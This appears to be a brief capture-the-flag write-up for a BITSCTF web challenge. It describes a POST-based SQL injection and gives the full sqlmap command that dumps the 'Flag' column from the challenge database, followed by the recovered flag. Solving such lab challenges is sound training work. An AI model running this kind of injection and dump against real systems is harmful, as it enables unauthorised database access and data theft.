http://joking.bitsctf.bits-quark.org/index.phpid=1'&submit1=submit[POST SQL injection] , i use sqlmap to inject the target after that :sqlmap -u "http://joking.bitsctf.bits-quark.org/index.php" --data="id=1&submit1=submit" -D hack -T Joker -C Flag --dumpand we get the flag :BITSCTF{wh4t_d03snt_k1ll_y0u_s1mply_m4k3s_y0u_str4ng3r!}